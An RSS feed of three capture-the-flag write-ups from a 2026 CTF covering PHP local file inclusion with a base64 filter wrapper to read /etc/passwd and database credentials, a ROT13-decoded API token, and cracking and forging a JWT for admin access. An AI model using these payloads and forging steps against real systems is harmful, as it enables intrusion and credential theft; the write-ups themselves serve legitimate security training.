<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: David Disu</title>
    <description>The latest articles on Forem by David Disu (@davidonlinearchive).</description>
    <link>https://forem.com/davidonlinearchive</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3480221%2F9aad85fb-85b6-4381-b09d-dbd2b071059a.png</url>
      <title>Forem: David Disu</title>
      <link>https://forem.com/davidonlinearchive</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/davidonlinearchive"/>
    <language>en</language>
    <item>
      <title>my-cool-blog - jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 20:34:36 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/my-cool-blog-jerseyctf6-1985</link>
      <guid>https://forem.com/davidonlinearchive/my-cool-blog-jerseyctf6-1985</guid>
      <description>&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;p&gt;This challenge involves chaining multiple vulnerabilities — &lt;strong&gt;Directory Traversal&lt;/strong&gt;, &lt;strong&gt;Local File Inclusion (LFI)&lt;/strong&gt;, and a &lt;strong&gt;PHP filter bypass&lt;/strong&gt; — to extract database credentials and retrieve the flag directly from a PostgreSQL database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key concepts:&lt;/strong&gt; LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Reconnaissance
&lt;/h2&gt;

&lt;p&gt;The challenge URL exposes a suspicious &lt;code&gt;file&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3hmsquaj66pbid7lmcy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3hmsquaj66pbid7lmcy.png" alt="Landing page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run an &lt;code&gt;nmap&lt;/code&gt; scan to fingerprint the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; my-cool-blog.aws.jerseyctf.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff42li2iiaugcy01avi8t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff42li2iiaugcy01avi8t.png" alt="Target scan"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.63 Ubuntu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5432&lt;/td&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;DB 18.0–18.2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Confirm LFI via Directory Traversal
&lt;/h2&gt;

&lt;p&gt;Passing an invalid path to the &lt;code&gt;file&lt;/code&gt; parameter triggers a verbose PHP error:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffo8u494q6j41yobt4r17.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffo8u494q6j41yobt4r17.png" alt="PHP error disclosure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This leaks two critical details — the app passes user input directly to &lt;code&gt;file_get_contents()&lt;/code&gt;, and the absolute server path is &lt;code&gt;/opt/server/&lt;/code&gt;. Verify LFI by reading &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?file=../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaf5uhgy434k33zazo3f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaf5uhgy434k33zazo3f.png" alt="LFI confirmed"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirmed. We have LFI.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 – Enumerate the Source Code
&lt;/h2&gt;

&lt;p&gt;Use the PHP Base64 filter wrapper to read &lt;code&gt;view-post.php&lt;/code&gt; without the server executing it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmcnamsbtbf38etf5txl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmcnamsbtbf38etf5txl.png" alt="Decoded source code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Decoding the Base64 output reveals two security checks:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Directory block&lt;/strong&gt; — blocks any input starting with &lt;code&gt;includes&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content filter&lt;/strong&gt; — blocks any file whose contents contain the string &lt;code&gt;pg_connect&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The developer even Base64-encoded &lt;code&gt;pg_connect&lt;/code&gt; within the source itself (&lt;code&gt;cGdfY29ubmVjdA==&lt;/code&gt;) to obscure the check — a textbook security through obscurity mistake.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 – Bypass the Filters and Extract Credentials
&lt;/h2&gt;

&lt;p&gt;Both filters collapse under the same PHP filter wrapper trick:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;includes/&lt;/code&gt; block only checks if input &lt;em&gt;starts with&lt;/em&gt; &lt;code&gt;includes&lt;/code&gt; — &lt;code&gt;php://&lt;/code&gt; bypasses it entirely&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;pg_connect&lt;/code&gt; content filter never fires because the file is Base64-encoded in memory before &lt;code&gt;str_contains&lt;/code&gt; can inspect it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Winning payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;includes&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode the returned Base64 to reveal the PostgreSQL credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;host&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;my-cool-blog.aws.jerseyctf.com&lt;/span&gt;
&lt;span class="py"&gt;dbname&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;blog&lt;/span&gt;
&lt;span class="py"&gt;user&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;blog_web&lt;/span&gt;
&lt;span class="py"&gt;password&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;oPPNQ9vkMdAJx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5 – Connect to PostgreSQL and Dump the Flag
&lt;/h2&gt;

&lt;p&gt;Connect directly to the remote database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-h&lt;/span&gt; my-cool-blog.aws.jerseyctf.com &lt;span class="nt"&gt;-U&lt;/span&gt; blog_web &lt;span class="nt"&gt;-d&lt;/span&gt; blog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List the tables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Query the flag table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9jxaeehqtcroj7u0a8zs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9jxaeehqtcroj7u0a8zs.png" alt="Flag retrieved"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/file-path-traversal" rel="noopener noreferrer"&gt;PortSwigger – LFI / Path Traversal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion#php-filter" rel="noopener noreferrer"&gt;HackTricks – PHP Filter Wrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.postgresql.org/docs/current/app-psql.html" rel="noopener noreferrer"&gt;PostgreSQL psql Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion" rel="noopener noreferrer"&gt;PayloadsAllTheThings – LFI Wordlist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
    </item>
    <item>
      <title>X-Ray Vision - jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 19:35:22 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/x-ray-vision-jerseyctf6-2cj2</link>
      <guid>https://forem.com/davidonlinearchive/x-ray-vision-jerseyctf6-2cj2</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw266awredp0lgww25mbd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw266awredp0lgww25mbd.png" alt="Challenge description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;p&gt;This challenge involves finding a hidden token in a webpage's source code, decoding it using the &lt;strong&gt;ROT13&lt;/strong&gt; cipher, and using it to authenticate against an API endpoint to retrieve the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key concepts:&lt;/strong&gt; ROT13 encoding, API authentication with custom headers&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Inspect the Page Source
&lt;/h2&gt;

&lt;p&gt;View the page source and look through the HTML for any hidden comments or metadata. You'll find a hidden token:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i10uo1ppmhtbae0yjuj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i10uo1ppmhtbae0yjuj.png" alt="Hidden Token"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The token found is: &lt;code&gt;q3i3y0c3e_g00y5&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Decode the ROT13 Token
&lt;/h2&gt;

&lt;p&gt;The token is ROT13 encoded. Decode it via &lt;a href="https://rot13.com" rel="noopener noreferrer"&gt;rot13.com&lt;/a&gt; or in your terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"q3i3y0c3e_g00y5"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Za-z'&lt;/span&gt; &lt;span class="s1"&gt;'N-ZA-Mn-za-m'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ylvihkh2o5gfc1jn8v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ylvihkh2o5gfc1jn8v.png" alt="Decipher token"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; ROT13 only shifts letters — numbers and special characters stay unchanged.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;q3i3y0c3e_g00y5  →  d3v3l0p3r_t00l5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3 – Authenticate Against the API
&lt;/h2&gt;

&lt;p&gt;Pass the decoded token as a custom header to the API endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-secret-token: d3v3l0p3r_t00l5"&lt;/span&gt; http://x-ray-vision.aws.jerseyctf.com/api/status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0232pk7cns9j678ucxyy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0232pk7cns9j678ucxyy.png" alt="Flag"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jctf{r0t_y0ur_w4y_t0_4cc3ss}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rot13.com" rel="noopener noreferrer"&gt;ROT13 Decoder – rot13.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://curl.se/docs/" rel="noopener noreferrer"&gt;curl Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/information-disclosure" rel="noopener noreferrer"&gt;PortSwigger – Information Disclosure in Source Code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
    </item>
    <item>
      <title>My Favorite OS - Jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 19:25:07 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/my-favorite-os-jerseyctf6-33o3</link>
      <guid>https://forem.com/davidonlinearchive/my-favorite-os-jerseyctf6-33o3</guid>
      <description>&lt;h2&gt;
  
  
  Step 1 – Explore Available Commands
&lt;/h2&gt;

&lt;p&gt;Start by running the help command in the terminal to see what actions are available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqaqix0vz9oqxkcm7acro.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqaqix0vz9oqxkcm7acro.png" alt="Help commands" width="800" height="754"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Log In as the Guest User
&lt;/h2&gt;

&lt;p&gt;Use the provided login command to authenticate as the &lt;code&gt;guest&lt;/code&gt; user. The server responds with an automatically generated JWT.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9jpjvaq9dxa8x4h87zi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9jpjvaq9dxa8x4h87zi.png" alt="Login as guest user" width="800" height="710"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 – Decode the JWT
&lt;/h2&gt;

&lt;p&gt;Head to &lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; and paste the token into the decoder. Inspect the &lt;strong&gt;payload&lt;/strong&gt; section — you'll see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our role is &lt;code&gt;user&lt;/code&gt;. To access the admin panel, we need to change this to &lt;code&gt;Admin&lt;/code&gt;. However, we can't just edit the token — the signature will break unless we sign it with the correct secret key.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 – Brute-Force the Secret Key
&lt;/h2&gt;

&lt;p&gt;Since JWTs signed with &lt;code&gt;HS256&lt;/code&gt; use a symmetric secret key, we can attempt to crack it using &lt;strong&gt;Hashcat&lt;/strong&gt; with a wordlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-a&lt;/span&gt; 0 &lt;span class="nt"&gt;-m&lt;/span&gt; 16500 &amp;lt;your_jwt_token&amp;gt; &amp;lt;path_to_wordlist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-a 0&lt;/code&gt; — dictionary attack mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-m 16500&lt;/code&gt; — hash type for JWT (HS256)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfljrbpcrst9jyh38hnw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfljrbpcrst9jyh38hnw.png" alt="JwT Cracked" width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The secret key is revealed: &lt;strong&gt;&lt;code&gt;windows98&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 – Forge a New Token
&lt;/h2&gt;

&lt;p&gt;Now that we have the secret key, go back to &lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; and:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Edit the payload — change &lt;code&gt;"role": "user"&lt;/code&gt; to &lt;code&gt;"role": "Admin"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Enter &lt;code&gt;windows98&lt;/code&gt; as the secret in the &lt;strong&gt;Verify Signature&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Copy the newly signed token&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 6 – Access the Admin Panel
&lt;/h2&gt;

&lt;p&gt;Use the forged token to send a request to the protected admin endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /admin/panel &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Authorization: Bearer &amp;lt;forged_token&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx49efkqhjj8pxkx2c20k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx49efkqhjj8pxkx2c20k.png" alt="Flag revealed" width="800" height="703"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;jctf{w1nd0ws98_1s_th3_b3st_0s_3v3r_937cn2}&lt;/p&gt;

&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
